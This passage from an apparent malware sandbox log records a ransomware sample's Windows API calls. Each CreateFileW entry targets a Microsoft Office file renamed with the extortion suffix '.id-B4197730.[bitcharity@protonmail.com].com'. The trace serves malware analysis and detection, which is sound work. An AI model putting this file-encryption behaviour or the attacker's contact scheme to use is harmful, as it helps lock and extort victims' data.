(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\WARN.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\places\\warn.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.306] CloseHandle (hObject=0x1278) returned 1 [0266.309] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.309] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\CAN.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\things\\can.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.309] CloseHandle (hObject=0x1278) returned 1 [0266.310] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.310] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\COUPLER.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\things\\coupler.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.310] CloseHandle (hObject=0x1278) returned 1 [0266.311] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.311] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\HORN.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\things\\horn.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.311] CloseHandle (hObject=0x1278) returned 1 [0266.312] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.312] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\SHOT.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\things\\shot.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.312] CloseHandle (hObject=0x1278) returned 1 [0266.313] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.313] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\SHOVEL.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\things\\shovel.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.313] CloseHandle (hObject=0x1278) returned 1 [0266.313] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.313] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\SPLASH.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\things\\splash.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.314] CloseHandle (hObject=0x1278) returned 1 [0266.314] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.314] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\WHOOSH.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\things\\whoosh.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.314] CloseHandle (hObject=0x1278) returned 1 [0266.517] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.517] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\DataListIconImages.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\datalisticonimages.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.517] CloseHandle (hObject=0x1068) returned 1 [0266.518] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.518] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.518] CloseHandle (hObject=0x1068) returned 1 [0266.518] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.518] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.visualelementsmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.519] CloseHandle (hObject=0x1068) returned 1 [0266.520] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.520] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\headerpatterns.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.520] CloseHandle (hObject=0x1068) returned 1 [0266.522] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.522] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\ATPVBAEN.XLAM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\library\\analysis\\atpvbaen.xlam.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.522] CloseHandle (hObject=0x1068) returned 1 [0266.523] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.523] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\FUNCRES.XLAM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\library\\analysis\\funcres.xlam.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.523] CloseHandle (hObject=0x1068) returned 1 [0266.524] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.524] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\PROCDB.XLAM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\library\\analysis\\procdb.xlam.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.524] CloseHandle (hObject=0x1068) returned 1 [0266.525] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.526] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\EUROTOOL.XLAM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\library\\eurotool.xlam.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.526] CloseHandle (hObject=0x1068) returned 1 [0266.526] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.526] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\SOLVER.XLAM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\library\\solver\\solver.xlam.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.527] CloseHandle (hObject=0x1068) returned 1 [0266.529] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.529] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.529] CloseHandle (hObject=0x1068) returned 1 [0266.530] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.530] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.530] CloseHandle (hObject=0x1068) returned 1 [0266.531] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.531] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.531] CloseHandle (hObject=0x1068) returned 1 [0266.531] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.531] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.532] CloseHandle (hObject=0x1068) returned 1 [0266.532] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.532] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.533] CloseHandle (hObject=0x1068) returned 1 [0266.533] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.533] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.534] CloseHandle (hObject=0x1068) returned 1 [0266.534] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.534] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.535] CloseHandle (hObject=0x1068) returned 1 [0266.535] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.536] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.536] CloseHandle (hObject=0x1068) returned 1 [0266.536] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.536] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.537] CloseHandle (hObject=0x1068) returned 1 [0266.537] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.537] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.537] CloseHandle (hObject=0x1068) returned 1 [0266.538] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.538] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.538] CloseHandle (hObject=0x1068) returned 1 [0266.539] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.539] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.539] CloseHandle (hObject=0x1068) returned 1 [0266.540] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.540] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.540] CloseHandle (hObject=0x1068) returned 1 [0266.541] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.541] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.541] CloseHandle (hObject=0x1068) returned 1 [0266.542] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.542] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.542] CloseHandle (hObject=0x1068) returned 1 [0266.543] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.543] SetFilePointerEx (in: hFile=0x1068, 